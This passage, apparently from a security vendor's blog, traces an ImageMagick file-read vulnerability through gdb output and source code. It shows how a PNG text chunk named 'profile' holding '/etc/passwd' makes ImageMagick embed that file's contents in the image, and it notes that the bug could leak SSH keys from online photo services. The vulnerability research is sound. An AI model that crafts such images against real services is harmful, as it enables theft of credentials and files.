ConcatenateMagickString (destination=destination@entry=0x5555555c1a00 "", source=0x5555555b6ee8 "/etc/passwd", length=length@entry=13) at MagickCore/string.c:394

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3973

FormatLocaleString (string=string@entry=0x7fffffff25d0 "pngout.png", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:468

FormatLocaleStringList (string=0x7fffffff25d0 "pngout.png", length=4096, format=0x7ffff7e861fb "%s", operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:419

AcquireCLocale () at MagickCore/locale.c:131

FormatLocaleStringList (string=0x7fffffff25d0 "profile", length=4096, format=<optimized out>, operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:461

FormatLocaleString (string=string@entry=0x7fffffff25d0 "profile", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:478

LocaleCompare (p=p@entry=0x7fffffff25d0 "profile", q=q@entry=0x7ffff7e7f546 "width") at MagickCore/locale.c:1407

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3982

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4362

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4381

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4692

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4711

Part 3:

MagickCore/property.c:4711
MagickCore/property.c:4722
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    exception=exception@entry=0x55555558a830) at MagickCore/string.c:1007

MagickCore/string.c
1015          string_info=AcquireStringInfoContainer();
AcquireStringInfoContainer () at MagickCore/string.c:145
147           string_info->signature=MagickCoreSignature;
1016          string_info->path=ConstantString(filename);
679         {
1017          string_info->datum=(unsigned char *) FileToBlob(filename,extent,
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    exception=exception@entry=0x55555558a830) at MagickCore/string.c:1017

MagickCore/blob.c
1398        {
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1398
1423          assert(filename != (const char *) NULL);
1424          assert(exception != (ExceptionInfo *) NULL);
1425          assert(exception->signature == MagickCoreSignature);
1428          *length=0;
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1428
1429          status=IsRightsAuthorized(PathPolicyDomain,ReadPolicyRights,filename);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1430
1437          file=fileno(stdin);
1440              status=GetPathAttributes(filename,&attributes);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1438

MagickCore/utility.c
1189          status=stat_utf8(path,(struct stat *) attributes) == 0 ? MagickTrue :
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1189
stat_utf8 (attributes=0x7ffffffeff10, path=0x5555555c4c90 "/etc/passwd") at MagickCore/utility.c:1189
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1191
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1441
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1455
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1515
MapBlob (file=file@entry=4, mode=mode@entry=ReadMode, offset=offset@entry=0, length=1815) at MagickCore/blob.c:3011
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1523

MagickCore/property.c
SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
    value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4725

MagickCore/profile.c
SetImageProfile (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
    exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1997
SetImageProfileInternal (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
    recursive=recursive@entry=MagickFalse, exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1955

SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
    value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4727

NOTE: since explaining each line by line of the execution would take an extreme amount of time, I will explain the main used functions and the lines that are related to understanding the vulnerability.

  • Basically it starts with ReadOnePNGImage 

ReadOnePNGImage() reads a Portable Network Graphics (PNG) image file (minus the 8-byte signature) and returns it.
It allocates the memory necessary for the new Image structure and returns a pointer to the new image.

The format of the ReadOnePNGImage method is:

Image ReadOnePNGImage(MngInfo mng_info, const ImageInfo image_info, ExceptionInfo exception)

A description of each parameter follows:

o mng_info: Specifies a pointer to a MngInfo structure.

o image_info: the image info.

o exception: return any errors or warnings in this structure.

The function starts at int and here there are several variables that are used to store various characteristics of the PNG image file, such as the PNG rendering intent, the number of raw ICC profiles and text chunks associated with the image, the number of passes required to display the image, and the characteristics of the image data such as bit depth, color type, interlace method, compression method, filter method, and the number of transparent pixels. These variables are used to decode the image data and reconstruct the image.

  • Every time you see this line logging=IsEventLogging(); this means it will go to “MagickCore/log.c” and IsEventLogging() returns MagickTrue if debug of events is enabled otherwise MagickFalse.

  • The code sets a few pointer and variable values, including setting quantum_info to NULL, setting image to point to the image object within the mng_info struct, and setting intent to a value representing the rendering intent for the image. Also sets a few boolean variables and initializes some structures for reading in the PNG image file.

  • After that, it moves to the LockSemaphoreInfo function which locks a semaphore.A description of each parameter follows:

    o semaphore_info: Specifies a pointer to an SemaphoreInfo structure.

  • After that to resource.c to GetMagickResourceLimit function which returns the specified resource limit.

  • Now to “MagickCore/option.c” to GetImageOption function which gets a value associated with the global image options.

  • From here with GetValueFromSplayTree function it will go to “MagickCore/splay-tree.c”. GetValueFromSplayTree() gets a value from the splay-tree by its key.

  • This is where it will start to be interesting which basically from the part2 of the execution record
ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

Basically, the code here reads the text chunk from the image i.e. the file path

else
          {
            char
              *value;

            length=text[i].text_length;
            value=(char *) AcquireQuantumMemory(length+MagickPathExtent,
              sizeof(*value));
            if (value == (char *) NULL)
              {
                png_error(ping,"Memory allocation failed");
                break;
              }
            *value='\0';
            (void) ConcatenateMagickString(value,text[i].text,length+2);

            /* Don't save "density" or "units" property if we have a pHYs
             * chunk
             */
            if (!png_get_valid(ping,ping_info,PNG_INFO_pHYs) ||
                (LocaleCompare(text[i].key,"density") != 0 &&
                LocaleCompare(text[i].key,"units") != 0))
              {
                char
                  key[MagickPathExtent];

                (void) FormatLocaleString(key,MagickPathExtent,"%s",
                  text[i].key);
                if ((LocaleCompare(key,"version") == 0) ||
                    (LocaleCompare(key,"width") == 0))
                  (void) FormatLocaleString(key,MagickPathExtent,"png:%s",
                    text[i].key);
                (void) SetImageProperty(image,key,value,exception);
              }

First, a character pointer variable called value is declared. length is set to the length of the text in the current text chunk. Memory is then allocated for value, which will be used to store the text value. The AcquireQuantumMemory function is used for memory allocation.

Next, the code checks if memory allocation for value was successful. If it wasn’t, an error message is logged and the loop is broken. If memory allocation was successful, value is set to an empty string using '\0'.

Now the text value is copied into value using the ConcatenateMagickString .

ConcatenateMagickString() concatenates the source string to the destination string.
The destination buffer is always null-terminated even if the string must be truncated.

After that, the program goes through multiple other interesting functions, such as:

  • FormatLocaleStringList
  • FormatLocaleString
  • SetImageProperty which it’s interesting since saves the given string value either to a specific known attribute or to a freeform property string.

scroll down in the SetImageProperty to line 4711

when you follow this code, you found this full function in MagickCore/preperty.c

Basically, the code here using LocaleCompare function to check if the property variable is equal to the string “profile”, If the comparison returns zero, meaning the strings are equal, it will continue.

here, I will explain what those functions do and I will focus more on the functions that are more related to the root cause.

AcquireImageInfo() allocates the ImageInfo structure.
The format of the AcquireImageInfo method is: ImageInfo *AcquireImageInfo(void)

The SetImageInfo function is then called to initialize the ImageInfo struct, passing in a value of 1 and an exception parameter.

SetImageInfo() initializes the ‘magick’ field of the ImageInfo structure.
It is set to a type of image format based on the prefix or suffix of the filename. For example, ‘ps:image’ returns PS indicating a Postscript image.
JPEG is returned for this filename: ‘image.jpg’. The filename prefix has precendence over the suffix. Use an optional index enclosed in brackets after a file name to specify a desired scene of a multi-resolution image format like Photo CD (e.g. img0001.pcd[4]). A True (non-zero) return value indicates success.

This line is very interesting

profile=FileToStringInfo(image_info->filename,~0UL,exception);

The FileToStringInfo function is called with the filename of the ImageInfo struct and a flag value ~0UL to read the entire file into memory as a StringInfo struct.

FileToStringInfo() returns the contents of a file as a string.

This function takes three parameters:

  1. filename is a pointer to a character array (i.e., string) that contains the name of the file to read.
  2. extent is a size_t variable indicating the maximum length of the string that should be read from the file. This parameter is used to prevent the function from reading beyond a specified limit, which can help prevent buffer overflow errors.
  3. exception is a pointer to an ExceptionInfo structure. This structure is used to capture any errors or warnings that occur during the execution of the function.

The function also calls the FileToBlob() function, passing in the filename, extent, and exception parameters. This function reads the contents and the file content is stored in the datum field of the StringInfo structure.

string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);

FileToBlob() returns the contents of a file as a buffer terminated with the ‘\0’ character. The length of the buffer (not including the extra terminating ‘\0’ character) is returned via the ‘length’ parameter. Free the buffer with RelinquishMagickMemory().

The interesting part of the FileToBlob() function is this:

file=fileno(stdin);
  if (LocaleCompare(filename,"-") != 0)
    {
      status=GetPathAttributes(filename,&attributes);
      if ((status == MagickFalse) || (S_ISDIR(attributes.st_mode) != 0))
        {
          ThrowFileException(exception,BlobError,"UnableToReadBlob",filename);
          return(NULL);
        }
      file=open_utf8(filename,O_RDONLY | O_BINARY,0);
    }
  if (file == -1)
    {
      ThrowFileException(exception,BlobError,"UnableToOpenFile",filename);
      return(NULL);
    }

basically, the function will check if the filename contains “-” it will try to read from stdin input otherwise it will start with the GetPathAttributes function which retrieves information about the file specified by filename, such as its type, size, and permissions. GetPathAttributes can be found in MagickCore/utility.c here:

If the GetPathAttributes function returns MagickFalse, indicating an error occurred, or if the file type is a directory, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned.

Now if the file type is not a directory, the open_utf8 function is called with the filename This function attempts to open the file specified by filename in read-only mode, and returns a file descriptor that is assigned to the file variable. If the open_utf8 function fails and returns -1, indicating an error, the ThrowFileException function is called to throw an exception with an error message, and NULL is returned, Otherwise, the file descriptor is returned to the calling function.

Now going back to the if (LocaleCompare("profile",property)==0) in MagicCore/property.c

If the StringInfo is successfully read, the SetImageProfile function is called to set the image’s profile using the image’s format (image_info->magick), the StringInfo struct, and the exception parameter.

The StringInfo struct is then destroyed using DestroyStringInfo.

if (profile != (StringInfo *) NULL)
            {
              status=SetImageProfile(image,image_info->magick,profile,
                exception);
              profile=DestroyStringInfo(profile);
            }

Finally, the ImageInfo struct is destroyed using DestroyImageInfo, and the function returns MagickTrue.

image_info=DestroyImageInfo(image_info);
return(MagickTrue);

If the property variable is not equal to the string “profile”, the program breaks out of the if statement.

break; /* not an attribute, add as a property */

basically, all these steps are in the gdb, and you can follow them in the execution flow that I recorded and attached above.

I did all this by following gdb step by step and going through the execution.

Now just to summarize the execution flow:

ReadOnePNGImage -> IsEventLogging -> GetMagickResourceLimit -> GetImageOption -> GetValueFromSplayTree -> LockSemaphoreInfo -> png.c:3962 -> ConcatenateMagickString -> SetImageProperty -> property.c:4711 -> AcquireImageInfo -> CopyMagickString -> SetImageInfo -> FileToStringInfo -> FileToBlob -> SetImageProfile -> DestroyStringInfo -> DestroyImageInfo

With the execution flow, it will be easier to reproduce this and follow the functions.

Also, I want here to summarize the exact lines where the vulnerability happened:

  • First starts here where the PNG image gets read and processed.
static Image *ReadOnePNGImage(MngInfo *mng_info,
    const ImageInfo *image_info, ExceptionInfo *exception)
{
  • Read the text chunk
png.c:3962
ConcatenateMagickString

  • Check “profile” keyword
SetImageProperty
property.c:4711

  • Read the file content and store it
property.c:4722
profile=FileToStringInfo(image_info->filename,~0UL,exception);
string.c:1017
string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);

  • Finally here is where the SetImageProfile function will set the image profile and anything related to it, and now the image is ready.

If you want to reproduce this and minimize the time and just go straight to the main point, you can add breakpoints as follows:

break ReadOnePNGImage
break png.c:3954
break png.c:3986
break SetImageProperty
break property.c:4711
break property.c:4722
break property.c:4725
break FileToStringInfo
break string.c:1017

after that go with “continue” , “step” , “step-in” and “next”.

  • The red highlighted ones, here we are setting the breakpoints.
  • The green highlighted one, we started the program.
  • Finally, we see the program hit the first breakpoint.

How the attacker would abuse this?

If this tool is used with online photo service, it can be exploited to leak the SSH keys, configuration files ..etc, same thing applies to privilege escalation scenarios.

Final thoughts

This is really interesting vulnerability (I say that about each 0day LOL) since it can be exploited in privilege escalation, but also because ImageMagick is used in multiple languages and in websites so it can be a public target for the attackers.

I didn’t do any patch diffing here since there are a lot of changes between the vulnerable version and the latest version, however, studying the code changes is always interesting and can lead to new bypasses or new vulnerabilities.

Resources

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

×

Hello!

Click one of our contacts below to chat on WhatsApp

×